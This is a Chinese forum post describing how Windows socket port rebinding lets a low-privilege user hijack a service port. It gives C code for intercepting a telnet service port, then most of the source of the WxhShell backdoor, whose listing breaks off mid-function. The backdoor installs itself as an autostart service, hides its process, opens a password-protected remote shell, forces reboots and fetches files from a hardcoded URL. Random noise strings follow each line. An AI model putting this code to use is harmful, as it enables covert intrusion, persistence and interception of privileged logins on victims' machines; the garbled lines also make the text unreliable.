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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X%R)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]w/%>  
N= G!r  
  saddr.sin_family = AF_INET; d>gN3}tT  
XCyAt;neon  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o?`^ UG-   
P ~rTuj  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j 21>\K!p  
IfzW%UL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 AYHefAF<w  
UZ-[vD1n  
  这意味着什么?意味着可以进行如下的攻击: iPK:gK3Q  
XtftG7r9S  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "NvB@>S  
<!a%GI  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) q c DJ  
Jq8:33s   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 V]W-**j<  
F x3X  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  k`=&m"&#  
['_W <  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 uZXG"  
|0$7{nQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 z|v/h UrD  
hOR1R B  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /|WBk}  
Noi+mL  
  #include gxCl=\  
  #include Ocf:73t  
  #include HSlAm&Y\  
  #include    K-Fro~U  
  DWORD WINAPI ClientThread(LPVOID lpParam);   O`TM}  
  int main() fp2uk3Bm[  
  { 2|JtRE+  
  WORD wVersionRequested; cL^r^kL("  
  DWORD ret; Jk_ }y  
  WSADATA wsaData; eeCrHt4;  
  BOOL val; eD)@:K  
  SOCKADDR_IN saddr; Rd ,5 &X$  
  SOCKADDR_IN scaddr; r#\Lq;+-B  
  int err; @ayrI]m#>,  
  SOCKET s; 1+9}Xnxb  
  SOCKET sc; j% Wip j;c  
  int caddsize; DpvMY94Qh  
  HANDLE mt; VskdC?yIp  
  DWORD tid;   C7_nA:Rc  
  wVersionRequested = MAKEWORD( 2, 2 ); u69fYoB'  
  err = WSAStartup( wVersionRequested, &wsaData ); <>R\lPI2  
  if ( err != 0 ) { g&fq)d  
  printf("error!WSAStartup failed!\n"); )|`w;F>  
  return -1; *ulkqpO  
  } !w{(}n2Wq  
  saddr.sin_family = AF_INET; ]?UK98uS\A  
   O=\`q6l  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 U$EQeb  
PGJkQsp0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >L,Pw1Y0W[  
  saddr.sin_port = htons(23); qV:TuR-|w  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?;ovh nY)  
  { FV5~sy  
  printf("error!socket failed!\n"); B<!WAw+  
  return -1; 2A(IsUtqO:  
  } *9|*21  
  val = TRUE; 8w9?n3z=}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @9\L|O'~?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Zz^!QlF  
  { 905Lk>rB  
  printf("error!setsockopt failed!\n"); F~zrg+VDjL  
  return -1; a"whg~  
  } 3$h yV{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \ 3FOI  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /<)kI(gf  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /YD2F  
{7d\du&G  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) baz~luM  
  { 2M*84oh8P  
  ret=GetLastError(); :i/uRR  
  printf("error!bind failed!\n"); Oi,:q&  
  return -1; C~8;2/F7  
  } *IV_evgM7  
  listen(s,2); 2F|06E'  
  while(1) 2sYOO>  
  { T )"U q  
  caddsize = sizeof(scaddr); $uCY\ xqZ  
  //接受连接请求 `m=u2kxY  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =6< Am  
  if(sc!=INVALID_SOCKET) 7(]M`bBH  
  { /=~o|-n8@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); cB|Rj}40v  
  if(mt==NULL) ),&tF_z:  
  { 7N}==T89[  
  printf("Thread Creat Failed!\n"); sX|bp)Nw  
  break; w0Y V87  
  } 92 =huV  
  } ,Ep41v;T%`  
  CloseHandle(mt); kqt.?iJw  
  } wSIfqf+y  
  closesocket(s); RinaGeim  
  WSACleanup(); WzdE XcY  
  return 0; Wv-nRDNG  
  }   Pef$-3aP>E  
  DWORD WINAPI ClientThread(LPVOID lpParam) iw0|A  
  { YLFM3IaP  
  SOCKET ss = (SOCKET)lpParam;  Mt   
  SOCKET sc; wH0Ks5  
  unsigned char buf[4096]; [zc8f  
  SOCKADDR_IN saddr; uM74X^U  
  long num; 9 t o2V  
  DWORD val; 'o% .Q x  
  DWORD ret; LL7un_EC  
  //如果是隐藏端口应用的话,可以在此处加一些判断 boWaH}?0'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   #xe-Yw1!  
  saddr.sin_family = AF_INET; dBM> ;S;v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $C`YVv%?0  
  saddr.sin_port = htons(23); )R5=GHmL  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _0 $W;8X  
  { Yb=Z `)  
  printf("error!socket failed!\n"); Z!SFJ{  
  return -1; H*VZ&{\7  
  } cH{[\F"Eb  
  val = 100; 1 -:{&!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x>*#cOVz;C  
  { aOK,Mm:iO  
  ret = GetLastError(); NI33lp$V  
  return -1; ;1Zz-@  
  } J'4V_Kjg-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =b[q<p\  
  { {3R?<ET]mt  
  ret = GetLastError(); ZZ@1l  
  return -1; *7:HO{P>Y  
  } )9? ^;HS  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *h Z{>  
  { aFtL_# U  
  printf("error!socket connect failed!\n"); jI~GRk  
  closesocket(sc); Kta7xtu  
  closesocket(ss); 0DgEOW9H  
  return -1; fqQ(EVpQ  
  } ~ $QNp#dq  
  while(1) M<VZISu)dy  
  { !3T,{:gyrI  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 iQj2aK Gs  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3Z-N*bhC  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cO^}A(Ma(  
  num = recv(ss,buf,4096,0); HA W57N  
  if(num>0) cBz_L"5vr[  
  send(sc,buf,num,0); |T;NoWO+  
  else if(num==0) 3IHA+Zz  
  break; ?84B0K2N s  
  num = recv(sc,buf,4096,0); ?)i`)mu'  
  if(num>0) +Oa+G.;)o4  
  send(ss,buf,num,0); \CDzVO0^  
  else if(num==0) 4!^flKZQ  
  break; ,a1 1&"xl  
  } "{Jq6):mp  
  closesocket(ss); 3D*vNVI  
  closesocket(sc); Weu%&u-  
  return 0 ; u{dI[?@  
  } DgB]y6~KXl  
.6xIg+  
wjnQK  
========================================================== gHe%N? '  
,oS<9kC68  
下边附上一个代码,,WXhSHELL r"aJ&~8::W  
=p29 }^@@t  
========================================================== ;*=MI/"N  
)Fw{|7@N  
#include "stdafx.h" # mK?K  
4~YPLu  
#include <stdio.h> X!/o7<  
#include <string.h> G" &yE.E5  
#include <windows.h> sn6:\X<[  
#include <winsock2.h> yB~` A>~M  
#include <winsvc.h> o6LZ05Z-&  
#include <urlmon.h> 0X'2d  
e"]*^Q  
#pragma comment (lib, "Ws2_32.lib") ?O!'ZZX  
#pragma comment (lib, "urlmon.lib") }'.k  
{u4=*> ?G  
#define MAX_USER   100 // 最大客户端连接数 T~" T%r  
#define BUF_SOCK   200 // sock buffer 9u&q{I  
#define KEY_BUFF   255 // 输入 buffer 1y)|m63&  
$&l} ABn  
#define REBOOT     0   // 重启 7UzbS,$x  
#define SHUTDOWN   1   // 关机 FsdxLMwk1  
G*x"drP  
#define DEF_PORT   5000 // 监听端口 0>KW94  
+_h1JE_}D  
#define REG_LEN     16   // 注册表键长度 FPB O=?H.  
#define SVC_LEN     80   // NT服务名长度 7[}K 2.W.  
}q~M$  
// 从dll定义API ,&X7D]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gBZ1Weu-'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @=kDaPme92  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); },@1i<Bb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &!E+l<.RF  
f6d:5 X_  
// wxhshell配置信息 [EX@I =?  
struct WSCFG { 4?3*%_bDJ,  
  int ws_port;         // 监听端口 ; Fi(zl  
  char ws_passstr[REG_LEN]; // 口令 0s#`H  
  int ws_autoins;       // 安装标记, 1=yes 0=no O=C z*j  
  char ws_regname[REG_LEN]; // 注册表键名 j(*ZPo>oD  
  char ws_svcname[REG_LEN]; // 服务名 zYW+Goz/C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rnV\O L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Eoo[)V#x{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,(  ?q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t"]+}]O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x\r[Zp|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4)i(`/U  
.*bu:FuDE  
}; 9ne13 qVm+  
vA r fsgk  
// default Wxhshell configuration ('u\rc2 R  
struct WSCFG wscfg={DEF_PORT, $%3"@$  
    "xuhuanlingzhe", ?^< E#2a  
    1, [1\k'5rp  
    "Wxhshell", \UF/_'=K  
    "Wxhshell", 5/ee&sJR  
            "WxhShell Service", yG`J3++ S  
    "Wrsky Windows CmdShell Service", `~hB-Z5dI  
    "Please Input Your Password: ", ^D=1%@l?#  
  1, \:To>A32  
  "http://www.wrsky.com/wxhshell.exe", U^n71m>]%T  
  "Wxhshell.exe" 5ZXP$.  
    }; zP8a=Iv  
hPP,D\#  
// 消息定义模块 \.`;p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Nzo;j0 [  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YA:7^-Bv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Lcx)wof  
char *msg_ws_ext="\n\rExit."; ][jW2;A  
char *msg_ws_end="\n\rQuit."; _Prh&Q1zs  
char *msg_ws_boot="\n\rReboot..."; !\DlX |  
char *msg_ws_poff="\n\rShutdown..."; sr=~U q{g  
char *msg_ws_down="\n\rSave to "; =u5a'bp0;;  
;9+[t8Y)D  
char *msg_ws_err="\n\rErr!"; 0Q]ZS  
char *msg_ws_ok="\n\rOK!"; 94>EA/+Ek  
j`'9;7h M6  
char ExeFile[MAX_PATH]; R0l5"l*@+  
int nUser = 0; Z/r=4  
HANDLE handles[MAX_USER]; =41g9UQ  
int OsIsNt; VDyQv^=#  
g p2S   
SERVICE_STATUS       serviceStatus; 1^x "P#u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )dv w.X  
[%);N\o2Y  
// 函数声明 _DlX F  
int Install(void); a+U^mPe  
int Uninstall(void); %|tDb  
int DownloadFile(char *sURL, SOCKET wsh); BkP'b{z|  
int Boot(int flag); 3?do|>  
void HideProc(void); lhx"<kR 4  
int GetOsVer(void); y .O%  
int Wxhshell(SOCKET wsl); ] WsQ=  
void TalkWithClient(void *cs); fbG+.'  
int CmdShell(SOCKET sock); *t)Y@=k3>  
int StartFromService(void); ko2T9NI:S  
int StartWxhshell(LPSTR lpCmdLine); l8XgzaW  
=02$Dwr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [{i"Au]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /e2CB"c   
iOFp9i=j  
// 数据结构和表定义 O ;34~k   
SERVICE_TABLE_ENTRY DispatchTable[] = %M=Ob k  
{ YR 5C`o  
{wscfg.ws_svcname, NTServiceMain}, 0:CIM  
{NULL, NULL} m#i5}uHHg  
}; 7CK3t/3D  
TbUouoc  
// 自我安装 ]#7{ x  
int Install(void) ($h`Y;4  
{ gXNlnh%?S  
  char svExeFile[MAX_PATH]; yGxAur=dE  
  HKEY key; RjcU0$Hi  
  strcpy(svExeFile,ExeFile); I)JqaM  
nQtp4  
// 如果是win9x系统,修改注册表设为自启动 M_OvIU(E  
if(!OsIsNt) { a_GnN\kX^Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >8* 0"Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R7nT,7k.  
  RegCloseKey(key); @X|Mguq5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K&\ q6bU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |[ )e5Xhd  
  RegCloseKey(key); yx@%x?B  
  return 0; G2 E4  
    } I*SrK Zb  
  } e #5LBSP  
} tF/)DZ.to  
else { 5Al1u|;HB  
9tMaOm  
// 如果是NT以上系统,安装为系统服务 f*:DH4g }B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9sgyg3fv>5  
if (schSCManager!=0) WLy%| {/  
{ mRNA,*  
  SC_HANDLE schService = CreateService MyJ\/`8  
  ( P,eP>55'K  
  schSCManager, z>6hK:27  
  wscfg.ws_svcname, BQ;F`!Hx?  
  wscfg.ws_svcdisp, qdOUvf  
  SERVICE_ALL_ACCESS, \U?$ r[P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @mJ# ~@*(  
  SERVICE_AUTO_START, }MiEbLduN  
  SERVICE_ERROR_NORMAL, AW R   
  svExeFile, pnpx`u;  
  NULL, &>xd6-  
  NULL, vg"$&YX9"  
  NULL, 0p31C7!  
  NULL, $!ATj`}kb  
  NULL C9FzTg/c  
  ); -_KO}_  
  if (schService!=0) 2LTMt?  
  { V#P`FX  
  CloseServiceHandle(schService); %0gcNk"=  
  CloseServiceHandle(schSCManager); "C/X#y   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c{,VU.5/  
  strcat(svExeFile,wscfg.ws_svcname); #3_t}<fX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6 6%_p]U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]Uu:t  
  RegCloseKey(key); '| 6ZPv&N  
  return 0; |b+ZKRW  
    } Dga;GYx  
  } Gm.sl},  
  CloseServiceHandle(schSCManager); ? koIZ  
} sA|!b.q  
} i>aIuQ`pe  
y(fJ{k   
return 1; Ds<~JfVl  
} ?nCo?A  
QE Q/  
// 自我卸载 5@-[[ $dk  
int Uninstall(void) '~\\:37+  
{ gy*c$[NS$  
  HKEY key; y7ZYo7avg  
4/?@ %  
if(!OsIsNt) { EZee kxs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +}eH,  
  RegDeleteValue(key,wscfg.ws_regname); Rh :|ij>B  
  RegCloseKey(key); qGXY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oO4hBM([  
  RegDeleteValue(key,wscfg.ws_regname); *mjPNp'3{m  
  RegCloseKey(key); t}wwRWo2?f  
  return 0; Kk\TW1w3  
  } xh:A*ZI=7  
} s J{J@/5  
} m FgrT  
else { 9-"!v0['  
V]5MIiNl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R KXhD PA  
if (schSCManager!=0) :%4N4| Q  
{ ?P%-p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \#sdN#e;XA  
  if (schService!=0) ;u*I#)7  
  { ]RxJ^'a63  
  if(DeleteService(schService)!=0) { 3%(,f,  
  CloseServiceHandle(schService); `V2doV)  
  CloseServiceHandle(schSCManager); ^e{]WH?  
  return 0; VD~ %6AjyN  
  } H{4_,2h =m  
  CloseServiceHandle(schService); hlBMRx49  
  } M3VTzwuf^S  
  CloseServiceHandle(schSCManager); z)ndj 1,#)  
} -A^o5s  
} 3jx/1VV  
1$)}EL   
return 1; !<vy!pXg  
} ix_&os]L_  
GDQQ4-|O  
// 从指定url下载文件 Jbn^G7vH<6  
int DownloadFile(char *sURL, SOCKET wsh) &)izh) FA  
{  Pm"nwm  
  HRESULT hr; ,*.qa0E#W  
char seps[]= "/"; [4r<WvUaM  
char *token; :(YFIW`59  
char *file; Jb6)U]  
char myURL[MAX_PATH]; }Ud'j'QMy  
char myFILE[MAX_PATH]; zSagsH |W  
W1JvLU5L*r  
strcpy(myURL,sURL); :7?n)=Tx  
  token=strtok(myURL,seps); "^oU&]KQJ  
  while(token!=NULL) R0urt  
  { H6hhU'Kxf8  
    file=token; uN=f( -"  
  token=strtok(NULL,seps); iXLH[uhO;  
  } ^"iJ  
x^Zm:Jrw~  
GetCurrentDirectory(MAX_PATH,myFILE); D `av9I  
strcat(myFILE, "\\"); 6a704l%#hb  
strcat(myFILE, file); <m,bP c :R  
  send(wsh,myFILE,strlen(myFILE),0); `S A1V),~  
send(wsh,"...",3,0); 2O}X-/H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (6i4N2  
  if(hr==S_OK) deEc;IAo  
return 0; uFuP%f!yY  
else ]:}7-;$V  
return 1; LK<ZF=z]Z  
:<v@xOzxx  
} JkQ\r$ Y.  
MeYu  
// 系统电源模块 IP^1ca#<  
int Boot(int flag) P('bnDU  
{ U, 8mYv2|  
  HANDLE hToken; U ]7;K>.T  
  TOKEN_PRIVILEGES tkp; d4)0G-|  
:kC*<f\  
  if(OsIsNt) { S{Zf}8?6$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jW{bP_,"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <B'PB"R3y  
    tkp.PrivilegeCount = 1; 0./Rdf=-1j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lQv (5hIm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (+}44Ldt  
if(flag==REBOOT) { `~D{]'j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B>[myx  
  return 0; X<H{  
} FD5OO;$  
else { nd[Ja_h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^a$L9p(  
  return 0; Y?-Ef sK  
} C=bQ2t=Z  
  } 1Beh&pl^  
  else { &_-3>8gU  
if(flag==REBOOT) { mC3:P5/c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rxj#  
  return 0; 30<_`  
} Gzwb<e y  
else { `|PhXr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ' Er\ 68  
  return 0; ],{M``]q  
} 79I"F'  
} s#(7D3Pr#  
?O"zp65d(  
return 1; IJC]Al,df  
} N4b{^JkF  
>qUD_U3A  
// win9x进程隐藏模块 vQj{yJ\l1  
void HideProc(void) D={$l'y9p  
{ x3F94+<n{  
SwaMpNXL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HZjuL.Tj  
  if ( hKernel != NULL ) h)aLq  
  { \FF|b"E_=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @H^\PH?pp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Wys$#pJ  
    FreeLibrary(hKernel); @!|h!p;  
  } $`R=Q  
a54S,}|  
return; %Aa_Bumf*:  
} c._!dq&#R  
@, AB 2D  
// 获取操作系统版本 v- p8~u1N  
int GetOsVer(void) KuEM~Q=  
{ t~.^92]s|  
  OSVERSIONINFO winfo; 6q7jI )l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (`u+(M!^  
  GetVersionEx(&winfo); ~}SQLYy7Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j^eM i  
  return 1; j&b<YPZ  
  else SpOSUpl%  
  return 0; P7REE_<1  
} e@& 2q{Gi=  
;yCtk ~T%  
// 客户端句柄模块 }WF6w+  
int Wxhshell(SOCKET wsl) 7M_GGjP  
{ lwo,D}  
  SOCKET wsh; V343 IT\  
  struct sockaddr_in client; uC6e2py<[  
  DWORD myID; V8b^{}nxt  
- s2Yhf  
  while(nUser<MAX_USER) }uO2 x@  
{ 0UGAc]!/RZ  
  int nSize=sizeof(client); Ye^xV,U@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t+jdV  
  if(wsh==INVALID_SOCKET) return 1; 2P{! n#"  
&ha<pj~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mXM U  
if(handles[nUser]==0) ?+$EPaC2  
  closesocket(wsh); `_"?$ v2F  
else ZW 5FL-I  
  nUser++; $. sTb  
  } }/g1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N ]GF>kf:  
h*sL' fJ]  
  return 0; h(^[WSa  
} U;gy4rj  
6c}nP[6|  
// 关闭 socket j tqU`|FSQ  
void CloseIt(SOCKET wsh) lg 1r]  
{ 6']WOM#  
closesocket(wsh); 0.1?hb|p5T  
nUser--; '%a:L^a?  
ExitThread(0); C.se/\PE  
} uiWo<}t}{  
|voZ0U  
// 客户端请求句柄 yzXS{#\  
void TalkWithClient(void *cs) gpCWXz')i  
{ )1O|+m k  
*4l6+#W  
  SOCKET wsh=(SOCKET)cs; 3p'(E\VJ  
  char pwd[SVC_LEN]; $tK/3  
  char cmd[KEY_BUFF]; 2}5@: cwR+  
char chr[1]; #O7phjzgD  
int i,j; 4c.!^EiV  
@X_)%Y-^O  
  while (nUser < MAX_USER) { ;|oem\dKv  
p >nKNd_aQ  
if(wscfg.ws_passstr) { G52z5-=v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }jg,[jw_"X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); % "ZC9uq?  
  //ZeroMemory(pwd,KEY_BUFF); sT91>'&  
      i=0; 2JHV*/Q  
  while(i<SVC_LEN) { Qr~yHFc1y  
i\{fM}~W$  
  // 设置超时 5"Y:^_8  
  fd_set FdRead; +@\=v}: F  
  struct timeval TimeOut; Ystd[  
  FD_ZERO(&FdRead); <"LA70Hkk  
  FD_SET(wsh,&FdRead); q)tNH/  
  TimeOut.tv_sec=8; ]yas]5H   
  TimeOut.tv_usec=0; @$?*UI6y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =Unu>p}2V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U2(mWQ[mO  
oCB#i~|>a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CbT ;#0  
  pwd=chr[0]; ?lIh&C8]X  
  if(chr[0]==0xd || chr[0]==0xa) { Qs_]U  
  pwd=0; r#^uY:T%  
  break; ~&+8m=   
  } 1( ]{tF  
  i++; OC`Mzf%.  
    } `(@{t:L  
Vc "+|^  
  // 如果是非法用户,关闭 socket RIF*9=,S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vH]2t.\  
} 6,skF^   
[<#`@Kr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iM{cr&0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8{p#Nl?U1  
qWI8 >my11  
while(1) { >):>Pz%U  
|TuFx=~5v  
  ZeroMemory(cmd,KEY_BUFF); ]DI%7kw'  
oF5~|&C  
      // 自动支持客户端 telnet标准   2!}rH w  
  j=0; wmit>69S  
  while(j<KEY_BUFF) { D}bCMN <  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]U5/!e  
  cmd[j]=chr[0]; e:=+~F(f  
  if(chr[0]==0xa || chr[0]==0xd) { NQ\<~a`Eq  
  cmd[j]=0; Mog!pmc{  
  break; ~ "WN4  
  } 7 9ZYRm2;  
  j++; !Bb^M3iA  
    } ?,*KAGg%  
B%KfB VC  
  // 下载文件 Ert` ]s~  
  if(strstr(cmd,"http://")) { (e[8`C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 93y!x}  
  if(DownloadFile(cmd,wsh)) :Pi="  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )dI  `yf  
  else RMBPm*H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UQ+!P<>w   
  } etH]-S  
  else { GhY MO6Q4  
KoTQc0b!  
    switch(cmd[0]) { [!b=A:@  
  DsGtc<l%  
  // 帮助 EY[J;H_b  
  case '?': { ]08 ~"p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0uf)6(f  
    break; k54Vh=p  
  } zgA/B{DaC;  
  // 安装 c=~FXV!  
  case 'i': { VAZ6;3@cd  
    if(Install()) #Ue_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mdukl!_x  
    else r WPoR/M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wm_o(Z}  
    break; x)^t5"F  
    } Ct30EZ  
  // 卸载 bupDnTF  
  case 'r': { SHP_  
    if(Uninstall()) c~iAjq+c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c*`= o( S  
    else D$G:#z*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OO`-{HKt  
    break; 3+2cD  
    } cSs??i D"q  
  // 显示 wxhshell 所在路径 tJ!s/|u(  
  case 'p': { sc &S0K  
    char svExeFile[MAX_PATH]; x6B_5eF  
    strcpy(svExeFile,"\n\r"); XKepk? E  
      strcat(svExeFile,ExeFile); l<=Y.P_2  
        send(wsh,svExeFile,strlen(svExeFile),0); 2';f8JLY  
    break; O %?d0K  
    } nRlvW{p;  
  // 重启 )Y@mL/_  
  case 'b': { %vFoTu)2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V?"SrXN>  
    if(Boot(REBOOT)) /4PV<[ :_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a}MSA/K(  
    else { x7 l3&;yDv  
    closesocket(wsh); %>Y86>mVz  
    ExitThread(0); j^'op|l  
    } Z 7s (g]  
    break; LU4k/  
    } l2LUcI$ x  
  // 关机 NRgNW1#  
  case 'd': { |VRzIA4M\  
